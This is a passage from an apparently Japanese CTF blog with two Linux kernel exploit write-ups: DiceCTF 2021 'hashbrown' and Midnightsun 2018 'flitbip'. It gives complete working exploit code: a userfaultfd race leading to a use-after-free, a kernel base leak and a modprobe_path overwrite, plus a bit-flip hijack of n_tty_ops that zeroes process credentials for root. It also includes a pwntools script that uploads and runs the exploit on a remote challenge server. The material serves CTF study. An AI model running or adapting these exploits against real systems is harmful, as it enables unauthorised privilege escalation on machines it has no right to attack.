  printf("[+] add_key: %d %d %p\n", key, size, data);
  request_t req = {
    .key = key,
    .size = size,
    .src = data
  };
  long ret = ioctl(fd, ADD_KEY, &req);
  assert(ret != INVALID && ret != EXISTS);
}
void delete_key(int fd, uint key){
  printf("[+] delete_key: %d\n", key);
  request_t req = {
    .key = key
  };
  long ret = ioctl(fd, DELETE_KEY, &req);
  assert(ret != NOT_EXISTS && ret != INVALID);
}
void update_value(int fd, uint key, uint size, char *data){
  printf("[+] update_value: %d %d %p\n", key, size, data);
  request_t req = {
    .key = key,
    .size = size,
    .src = data
  };
  long ret = ioctl(fd, UPDATE_VALUE, &req);
  assert(ret != INVALID && ret != NOT_EXISTS);
}
void delete_value(int fd, uint key){
  printf("[+] delete_value: %d\n", key);
  request_t req = {
    .key = key,
  };
  long ret = ioctl(fd, DELETE_VALUE, &req);
  assert(ret != NOT_EXISTS);
}
void get_value(int fd, uint key, uint size, char *buf){
  printf("[+] get_value: %d %d %p\n", key, size, buf);
  request_t req = {
    .key = key,
    .size = size,
    .dest = buf
  };
  long ret = ioctl(fd, GET_VALUE, &req);
  assert(ret != NOT_EXISTS && ret != INVALID);
}

/**** (END hashbrown) ****/

// userfaultfd-utils
static void* fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg;   // data read from userfaultfd
  struct uffdio_copy uffdio_copy;
  long uffd = (long)arg;        // userfaultfd file descriptor
  struct pollfd pollfd;         //
  int nready;                   // number of polled events
  int shmid;
  void *shmaddr;

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while(poll(&pollfd, 1, -1) > 0){
    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if(read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if(msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: 0x%llx\n",msg.arg.pagefault.address);

    // Now, another thread is halting. Do my business.
    switch(STATUS){
      case STATE_LEAK:
        if((shmid = shmget(IPC_PRIVATE, PAGE, 0600)) < 0)
          errExit("shmget");
        delete_value(hashfd, targetkey);
        if((shmaddr = shmat(shmid, NULL, 0)) < 0)
          errExit("shmat");
        STATUS = STATE_UAF;
        break;
      case STATE_UAF:
        delete_value(hashfd, targetkey);
        STATUS = STATE_INVALID;
        break;
      default:
        errExit("unknown status");
    }

    printf("[+] uffdio_copy.src: %p\n", faultsrc);
    uffdio_copy.src = (ulong)faultsrc;
    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_copy.len = PAGE;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");
    else{
      puts("[+] end ioctl(UFFDIO_COPY)");
    }

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

pthread_t register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;      // userfaultfd file descriptor
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if(uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  uffdaddr = mmap((void*)FAULT_ADDR, PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  printf("[+] mmapped @ %p\n", uffdaddr);
  if(uffdaddr == MAP_FAILED)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = (ulong)uffdaddr;
  uffdio_register.range.len = PAGE;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&uffdthr, NULL, fault_handler_thread, (void*)uffd);
  if(s!=0){
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
  return uffdthr;
}
// (END userfaultfd-utils)

/******** MAIN ******************/

int main(int argc, char *argv[]) {
  char buf[0x200];
  faultsrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  memset(buf, 0, 0x200);
  hashfd = open(DEV_PATH, O_RDONLY);
  assert(hashfd > 0);

  // race-1: leak via shm_file_data
  for(int ix=0; ix!=threshold; ++ix){
    add_key(hashfd, ix, 0x20, buf);
  }
  register_userfaultfd_and_halt();
  add_key(hashfd, threshold, 0x20, uffdaddr);
  limit <<= 2;
  threshold = limit * 3 / 4;
  pthread_join(uffdthr, 0);

  // leak kernbase
  get_value(hashfd, targetkey, 0x20, buf);
  printf("[!] %lx\n", ((ulong*)buf)[0]);
  printf("[!] %lx\n", ((ulong*)buf)[1]);
  printf("[!] %lx\n", ((ulong*)buf)[2]);
  printf("[!] %lx: shmem_vm_ops\n", ((ulong*)buf)[3]);
  const ulong shmem_vm_ops = ((ulong*)buf)[3];
  const ulong kernbase = shmem_vm_ops - ((ulong)0xffffffff8b622b80 - (ulong)0xffffffff8ae00000);
  const ulong modprobe_path = kernbase + ((ulong)0xffffffffb0c46fe0 - (ulong)0xffffffffb0200000);
  printf("[!] kernbase: 0x%lx\n", kernbase);
  printf("[!] modprobe_path: 0x%lx\n", modprobe_path);

  // race-2: retrieve hash_entry as value
  targetkey = threshold - 1;
  memset(buf, 'A', 0x20);
  for(int ix=SIZE_ARR_START * 3/4 + 1; ix!=threshold; ++ix){
    add_key(hashfd, ix, 0x20, buf);
  }
  register_userfaultfd_and_halt();
  add_key(hashfd, threshold, 0x20, uffdaddr);
  pthread_join(uffdthr, 0);
  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
    memset(buf, 'A', 0x20);
    add_key(hashfd, ix, 0x20, buf);
    get_value(hashfd, targetkey, 0x20, buf);
    if(((uint*)buf)[0] != 0x41414141){
      printf("[!] GOT kUAFed object!\n");;
      printf("[!] %lx\n", ((ulong*)buf)[0]);
      printf("[!] %lx\n", ((ulong*)buf)[1]);
      printf("[!] %lx\n", ((ulong*)buf)[2]);
      printf("[!] %lx\n", ((ulong*)buf)[3]);
      break;
    }
  }

  // forge hash_entry as data and overwrite modprobe_path
  struct hash_entry victim = {
    .key = ((uint*)buf)[0],
    .size = ((uint*)buf)[1],
    .value = modprobe_path,
    .next = NULL
  };
  update_value(hashfd, targetkey, 0x20, &victim);
  update_value(hashfd, ((uint*)buf)[0], 0x20, "/home/ctf/nirugiri.sh\x00\x00\x00\x00");

  // trigger modprobe_path
  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
  system("chmod +x /home/ctf/nirugiri.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
  system("chmod +x /home/ctf/puipui-molcar");
  system("/home/ctf/puipui-molcar");

  // NIRUGIRI it
  system("cat /home/ctf/flag.txt");

  return 0;
}

 

今回はまだ問題サーバが生きていたからsenderも。

sender.py
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./exploit"
LIBCNAME = ""

hosts = ("dicec.tf","localhost","localhost")
ports = (31691,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  global c
  pass

## exploit ###########################################

def exploit():
  c.recvuntil("Send the output of: ")
  hashcat = c.recvline().rstrip().decode('utf-8')
  print("[+] calculating PoW...")
  hash_res = os.popen(hashcat).read()
  print("[+] finished calc hash: " + hash_res)
  c.sendline(hash_res)

  with open("./exploit.gz.b64", 'r') as f:
    binary = f.read()
  
  progress = 0
  N = 0x300
  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
  for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
    c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s))
    progress += N
    if progress % N == 0:
      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(len(binary))))
  c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
  c.sendlineafter('$', 'gunzip ./exploit.gz')

  c.sendlineafter('$', 'chmod +x ./exploit')
  c.sendlineafter('$', './exploit')
  c.sendlineafter('$', 'cat /home/ctf/flag.txt')



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

8: アウトロ

f:id:smallkirby:20210215214220p:plain

sender

問題サーバ生きてるやんけ、と思ってやってみたら、exploitバイナリの送信でタイムアウトになるわ。。。

取り敢えずローカルの画像貼っとこひょっとこ。

f:id:smallkirby:20210215214854p:plain

dice{春が来たら海を見に行きたいです}

【追記20200216】やっぱバイナリ送るときってdiet-libcみたいな軽量libc(diet-libcは流石に古いか。muslとかuclibc)とリンクさせとかないとダメなのかな。 と思ったけど、gzipするのを忘れてただけだった。あとstripするのも忘れてた。この2つをちゃんとやったらサイズが1/4になったのでglibcでいけました。(UPXしとくのも良いらしい)

send.sh
# send binary
gcc ./exploit.c -o ./exploit --static -masm=intel -pthread -no-pie -fno-PIE
strip ./exploit
gzip ./exploit
base64 ./exploit.gz > ./exploit.gz.b64
python3 ./sender.py r

f:id:smallkirby:20210216095259p:plain

dice{h@$hM@p_r3s1z1ng_r@c3_c0nd1t1on_w1tH_sm3p_sm@p_kPt1_&_fGK@sLR}

【追記終わり】

 

いい問題でした。大切な要素が詰まってるし、難易度も簡単すぎず難しすぎず。

おいしかったです。やよい軒行ってきます。

 

9: symbols without KASLR

symbols.txt
hashmap: 0xffffffffc0002540
kmalloc_caches: 0xffffffff81981dc0
__per_cpu_offset: 0xffffffff81980680

FGKASLRのせいでモジュール内の関数にブレーク貼れないのマジでストレスで胃が爆発霧散するかと思った(nokaslr指定しても無駄だし... :cry:)。まぁ起動する度に確認すれば良いんだけど。

 

 

10: 参考

1: author's writeup

https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html

2: LWN about FGKASLR

https://lwn.net/Articles/824307/

3: pwn chall in HXPCTF also using FGKASLR

https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/

4: kernel structure refs

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

5: しふくろさんのブログ(modprobe_pathについて参考にした)

https://shift-crops.hatenablog.com/entry/2019/04/30/131154

6: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

【pwn 47.0】flitbip - Midnightsun CTF Finals 2018 (kernel exploit)

keywords

baby / kernel exploitation / n_tty_ops

 

やっぱりリストを埋めるのそんなに楽しくないため、次からは面白そうな問題だけ解いていこうと思います。

 

1: static

basic

basic.sh
/ # cat /proc/version
Linux version 4.17.0 (aleph@codin) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)) #1 Fri J8

  -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \

SMEP無効・SMAP無効・KASLR無効・oops->panic

 

new syscall

新しくsyscallが追加されている。

flitbip.c
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#define MAXFLIT 1

#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif

long flit_count = 0;
EXPORT_SYMBOL(flit_count);

SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        flit_count++;

        return 0;
}

任意のアドレスの任意のbitを反転させることができる。flist_countによって回数を制限しているが、KASLR無いからflist_countを最初に反転させることで任意回ビット反転ができる。

 

2: get RIP

任意アドレスに任意の値を書き込むことができる状況である。しかもSMEPが無効のため、RIPさえ取れればそれだけで終わる。このような場合には、struct tty_ldisc_ops n_tty_opsを書き換えるのが便利らしい。これはTTY関連の関数テーブルで、新規ターミナルのデフォルトテーブルとして利用され、且つRWになっているもの。

ex.c
# 構造体
static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};
# 初期化
static int __init pps_tty_init(void)
{
	int err;

	/* Inherit the N_TTY's ops */
	n_tty_inherit_ops(&pps_ldisc_ops);
(snipped)

というわけで、こいつのreadを書き換えてscanf()なりgets()なりを呼ぶことでRIPが取れる。

 

3: LPE

あとは、用意したshellcodeを踏ませれば終わり。KASLR無効よりcurrentの場所が分かるため直接current->cred.uid等をNULLクリアする。

 

4: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>


// commands
#define DEV_PATH ""   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  setreuid(0, 0);
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

const ulong n_tty_ops_read = 0xffffffff8183e320 + 0x30;
const ulong n_tty_read = 0xffffffff810c8510;

static void shellcode(void){
  // まずはお直し
  *((ulong*)n_tty_ops_read) = n_tty_read;

  // そのあとpwn
  scu current_task = 0xffffffff8182e040;
  scu cred = current_task + 0x3c0;
  for(int ix=0; ix!=3; ++ix)
    ((uint *)cred)[ix] = 0;
  asm(
    "swapgs\n"
    "mov %%rax, %0\n"
    "push %%rax\n"
    "mov %%rax, %1\n"
    "push %%rax\n"
    "mov %%rax, %2\n"
    "push %%rax\n"
    "mov %%rax, %3\n"
    "push %%rax\n"
    "mov %%rax, %4\n"
    "push %%rax\n"
    "iretq\n"
    :: "r" (user_ss), "r" (user_sp), "r"(user_rflags), "r" (user_cs), "r" (&NIRUGIRI) : "memory"
  );
}
// (END utils)

// flitbip
const ulong flit_count = 0xffffffff818f4f78;

long _fff(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}
long fff(long *addr, long bit){
  long tmp = _fff(addr, bit);
  assert(tmp == 0);
  return tmp;
}
// (END flitbip)

int main(int argc, char *argv[]) {
  save_state();
  int pid = getpid();
  printf("[+] my pid: %lx\n", pid);

  char buf[0x200];
  printf("[+] shellcode @ %p\n", shellcode);
  ulong flipper = n_tty_read ^ (ulong)&shellcode;
  fff(flit_count, 63);

  for(int ix=0; ix!=64; ++ix){
    if(flipper & 1 == 1){
      fff(n_tty_ops_read, ix);
    }
    flipper >>= 1;
  }

  fgets(buf, sizeof(buf), stdin);

  printf("[!] unreachable\n");
  return 0;
}

 

 

5: アウトロ

f:id:smallkirby:20210214142507p:plain

midnight{スマブラやりて〜〜〜〜〜〜}

違う、こういう問題を解きたいんじゃない。。。。。。。。。。。

次からは簡単過ぎる問題は飛ばして良さげな問題だけ見繕おうと思います。

 

 

6: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.